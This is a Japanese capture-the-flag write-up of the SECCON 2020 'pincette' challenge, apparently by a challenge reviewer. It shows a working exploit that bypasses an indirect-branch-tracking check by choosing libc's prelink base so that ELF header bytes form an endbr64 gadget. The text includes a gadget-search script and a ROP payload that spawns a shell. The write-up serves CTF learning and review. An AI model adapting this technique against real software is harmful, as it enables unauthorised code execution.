# pincette - SECCON Online 2020 ###### tags: `SECCON` ## 概要 `ibt.cpp`, `libc.so`, `pincette_server_conf`, `server.py`, `vuln`が貰える。 `vuln`はだたのBOF。PIE無効。 ```nasm push rbp mov rbp, rsp sub rsp, 20h mov rax, cs:execve_ptr mov [rbp+var_18], rax lea rax, [rbp+buf] mov edx, 20h ; count mov rsi, rax ; buf mov edi, 0 ; fd mov eax, 0 syscall ; LINUX - sys_read lea rax, [rbp+var_18] mov edx, 0 mov esi, 0 lea rdi, aBinSh ; "/bin/sh" call qword ptr [rax] leave retn ``` `ibt.cpp`はindirect branchで飛び先にendbr64がある server.pyで重要なのはココ。 ```python= # modify baseaddr of libc baseaddr = int(input('Enter baseaddr of libc: '), 0) rslt = subprocess.run( ['/usr/sbin/prelink', '-r', '0x%x' % baseaddr,dirname+'/libc.so'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False) if rslt.returncode != 0: sys.stdout.write(rslt.stdout.decode()) sys.exit(-1) # execute vuln with modified libc env = { 'LD_LIBRARY_PATH': dirname, 'LD_USE_LOAD_BIAS': '1'} cmdline = [PIN_PATH, '-logfile', '', '-t', IBT_PATH, '-logfile', '', '--', '/opt/pincette/vuln'] payload = base64.decodebytes(input("Enter base64 payload: ").encode()) rslt = subprocess.run(cmdline, input=payload, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False, env=env) if rslt.returncode != 0: sys.stdout.write(rslt.stdout.decode()) sys.exit(-1) sys.stdout.write(rslt.stdout.decode()) ``` **なぜか**libcのベースアドレスが指定できる。 prelinkを使うとなんかベースアドレスが指定できて、実現可能な場合はそれが採用される。 ``` pwndbg> vmmap 0x400000 0x401000 r--p 1000 0 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln 0x401000 0x402000 r-xp 1000 1000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln 0x402000 0x403000 r--p 1000 2000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln 0x403000 0x404000 r--p 1000 2000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln 0x404000 0x405000 rw-p 1000 3000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln 0xdeadbeef000 0xdeadbf46000 r--p 57000 0 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/libc.so 0xdeadbf46000 0xdeadbfda000 r-xp 94000 57000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/libc.so ... ``` もちろんベースアドレスの情報はELFヘッダに現れるのでgadgetとして使えたり使えなかったり。 ``` 00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 03 00 3e 00 01 00 00 00 ef 31 fd db ea 0d 00 00 |..>......1......| 00000020 40 00 00 00 00 00 00 00 18 05 12 00 00 00 00 00 |@...............| 00000030 00 00 00 00 40 00 38 00 09 00 40 00 10 00 0f 00 |....@.8...@.....| ``` libcやvulnにはendbr64がそもそも存在しないのでこれを利用する。 で、問題のvulnバイナリは任意のアドレスにindirect branchが可能。 なぜか引数はexecve向けに設定されている。BOFのサイズ的にこのbranchでexecveを起動しないといけない。 gadgetとして5バイトコントロールできるが、上位2バイトを使うとアドレスが予測不能になるので実質3バイトまで。しかもendbr64は0xf3から始まるのでこれは使えず、実質2バイト。 ということでf3 0fをlibc中から探すと結構ある。 ``` 000263f0 00 f3 0f cb ef be ad de ec 20 06 cb ef be ad de |......... ......| 00026400 08 00 00 00 00 00 00 00 04 f3 0f cb ef be ad de |................| 00026420 08 f3 0f cb ef be ad de 3a 21 06 cb ef be ad de |........:!......| 00026430 08 00 00 00 00 00 00 00 0c f3 0f cb ef be ad de |................| 00026450 10 f3 0f cb ef be ad de f2 21 06 cb ef be ad de |.........!......| 00026460 08 00 00 00 00 00 00 00 14 f3 0f cb ef be ad de |................| 00026480 18 f3 0f cb ef be ad de 3a 22 06 cb ef be ad de |........:"......| 00026490 08 00 00 00 00 00 00 00 1c f3 0f cb ef be ad de |................| 000264c0 08 00 00 00 00 00 00 00 20 f3 0f cb ef be ad de |........ .......| 000264e0 24 f3 0f cb ef be ad de eb 22 06 cb ef be ad de |$........"......| 000264f0 08 00 00 00 00 00 00 00 18 f3 0f cb ef be ad de |................| 00026510 10 f3 0f cb ef be ad de 21 23 06 cb ef be ad de |........!#......| 00026520 08 00 00 00 00 00 00 00 28 f3 0f cb ef be ad de |........(.......| ``` 次にendbr64 gadgetの候補を探索する。使える部分は以下のXの箇所。 0x114514XXXXXXX000 相対値を足しても114514が汚染されることはないので、これをマーカーとして使う。 この際、XXXXXXX0 + (delta >> 8)が0xfa1e0ff3になれば良いので、XXXXXXX0との差分を調べ、0xfa1e0ff3にできるような候補を出力する。 そんなプログラムを回すと無数の候補が出てくるのでendbr64の個数が最も多くなるようなものを探す。また、textセクションでかつ近くにretがあるものだけ出力する。 ```python= from ptrlib import * import os os.system("prelink -r 0x1145140000000000 ./libc.so") # kasu os.system("""\ objdump -h libc.so | grep .text | awk '{print "dd if=libc.so of=taromaru bs=1 count=$[0x" $3 "] skip=$[0x" $6 "]"}' | bash """) candidates = {} with open("taromaru", "rb") as f: buf = f.read() while b'\x14\x45\x11' in buf: pos = buf.index(b'\x14\x45\x11') val = u32(buf[pos-4:pos]) if val & 0xf == 3 and b'\xc3' in buf[pos:pos+0x10]: # possible! base = (0xfa1e0ff3 - val) << 8 if base not in candidates: candidates[base] = 0 candidates[base] += 1 buf = buf[pos+3:] r = sorted(candidates.items(), key=lambda x:-x[1]) for i in range(10): base, num = r[i] print(f"base = 0x{base:x} / num = {num}") ``` pon ``` $ python test.py 606192+0 レコード入力 606192+0 レコード出力 606192 bytes (606 kB, 592 KiB) copied, 1.03428 s, 586 kB/s base = 0xfa1e02c000 / num = 20 base = 0xfa1dfde000 / num = 3 base = 0xfa1e025000 / num = 3 base = 0xfa1e03c000 / num = 3 base = 0xfa1e03a000 / num = 3 base = 0xfa1e029000 / num = 3 base = 0xfa1e098000 / num = 2 base = 0xfa1dfea000 / num = 2 base = 0xfa1e06d000 / num = 2 base = 0xfa1dfe6000 / num = 1 ``` 上から順にropper君で調べる。このときgadgetの数を10くらいまで許容しないと全然出ない。 今回はこれを使う。 ``` $ ropper -f ./libc.so --search "endbr64" --inst-count 10 [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: endbr64 [INFO] File: ./libc.so 0x000000fa1e0612c1: endbr64; add byte ptr [rax], al; add byte ptr [rdi], cl; mov dh, 4; add cl, byte ptr [rdi]; mov dh, 0xc0; add eax, 0x10; pop rbp; ret; 0x000000fa1e061339: endbr64; add byte ptr [rax], al; add byte ptr [rdi], cl; mov dh, 4; add cl, byte ptr [rdi]; mov dh, 0xc0; add eax, 0x11; pop rbp; ret; ``` leaveは役に立たないが、call後のgadgetなのでpopが役に立つ。 ここで`add byte ptr [rax], al`が邪魔に見えるが、この先頭1バイトは0x7fまでの範囲で書き換えられるので、適当に4バイトほど消費してくれる命令に変える。 例えばこんな感じ。 ``` 25 00 00 0f b6 04 02 0f b6 c0 83 c0 10 5d c3 and eax, 0xb60f0000 add al, 2 movzx eax, al add eax, 0x10 pop rbp ret ``` これでRIPが取れるが、後はシェルを取る必要がある。 one gadgetを探したいが既存ツールでは見つからない。libc-2.31なのかposix_spawnが使われているが、IDAで探すと次のようなone gadgetが見つかる。 ```nasm ... mov rdx, offset aC_1 ; "-c" mov rsi, offset aSh ; "sh" mov rdi, offset aBinSh ; "/bin/sh" mov eax, 0 mov r10, offset execl call r10 ; execl ``` 見た目の条件はrdx=NULL。 今、RIPを取ったときのレジスタは次のようになっている。 ``` RAX 0x12 RBX 0x0 RCX 0x40102b (_start+43) ◂— lea rax, [rbp - 0x18] RDX 0x0 RDI 0x402000 ◂— 0x68732f6e69622f /* u'/bin/sh' */ RSI 0x0 R8 0x0 R9 0x0 R10 0x7f7a18e16170 ◂— 0x0 R11 0x306 R12 0x401000 (_start) ◂— push rbp R13 0x7ffea110d310 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x401042 (_start+66) ◂— leave RSP 0x7ffea110d2e8 ◂— 0xffffffffdeadbeef RIP 0x25fa1e0612d3 ◂— ret ``` rdx=NULLなのでそのまま呼び出せる。 特にmovapsにかかることなく動いた。 ```python from ptrlib import * p = Process("./vuln", env={"LD_LIBRARY_PATH": "./"}) payload = p64(0x000025fa1e0853ce) payload += p64(0x000025fa1e0612c1) payload += p64(0xcafebabe) payload += p64(0xfee1dead) p.send(payload) p.interactive() ``` はい。 ``` $ python solve.py [+] __init__: Successfully created new process (PID=5718) [ptrlib]$ ls [ptrlib]$ libc.id0 libc.id2 libc.so solve.py taromaru test.py~ vuln libc.id1 libc.nam libc.til solve.py~ test.py toromaru ``` ## 非想定解の有無 重大な欠陥は見当たらない。 one gadgetが使えるので、標準で引数を設定したりexecveを呼ぼうとしている処理は不要。 ## 意見等 - ibt.soは(ibt.cppとともに)配布するべきだと思う。というかパス変えるの面倒なのでDockerfileで欲しい感。 - rootで動かしてるのは大丈夫...?どっかで権限落ちる? - endbr64を調べる際にPINからメモリアクセスしてるけど専用の命令使わないとスレッドセーフにならなかった気がする。それで問題が起きるかは知らず。